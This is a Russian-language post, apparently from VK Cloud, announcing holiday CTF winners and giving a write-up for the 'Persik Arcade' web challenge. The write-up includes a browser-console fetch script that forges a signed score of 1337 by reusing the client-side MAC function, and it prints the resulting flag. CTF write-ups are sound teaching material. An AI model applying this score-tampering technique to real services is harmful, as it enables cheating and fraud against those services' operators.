Привет всем, кто уже влился в рабочий ритм! ✨
Спасибо каждому, кто нашёл время на каникулах, чтобы размять мозги в нашем праздничном CTF!
Было невероятно круто следить за вашей активностью и азартом. Поздравляем первую пятёрку лидеров с лучшими результатами! 👏 Сегодня на вашу почту, указанную при регистрации, придёт подарочный промокод на бонусы от VK Cloud.
🏆 Топ-5 героев нашего CTF:
1 место: Azimoff
2 место: yghjgkhnlm
3 место: Bestra_KXTI
4 место: Kolkata
5 место: barungam
А теперь — к разборам задачек! 🔹🔹
Persik Arcade Writeup
category: web, points: 100
Беги, прыгай, не умирай (желательно) и набери ровно 1337 очков.Игра полностью реализована на стороне клиента в
game.js. Сервер проверяет корректность nonce, соответствие mac = f(score, nonce) и выдает флаг, если score == 1337. После того как Персик споткнется - выполняется отправка результата submitWithRenew(score):Json
{
"score": <score>,
"nonce": <nonce>,
"mac": <mac>
}
, где nonce берётся
с /api/challenge при старте игры, затем используется для подписи результата, mac считается через window.wasmComputeMac(score, nonce) => клиент полностью контролирует score, nonce и mac.Для решения нужно:
1. Получить
nonce2. Посчитать
mac3. Отправить
score = 1337 с посчитанными ранее mac и nonce
4. Получить флаг без игрывыполним в консоли браузера:
Js
fetch('/api/challenge', { cache: 'no-store' })
.then(r => r.json())
.then(c => {
const score = 1337;
const nonce = Number(c.nonce) >>> 0;
const mac = window.wasmComputeMac(score >>> 0, nonce) >>> 0;
return fetch('/api/submit_score', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ score, nonce, mac })
});
})
.then(r => r.json())
.then(console.log);
и получим флаг:{ok: true, flag: 'vkctf{4a150e818be2a45e0c3f8c7e1cc98061}'}
Задачу также можно решить через breakpoints в
Debugger (Developer Tools), изменив значение переменной score.В следующих постах — описание новых задач!


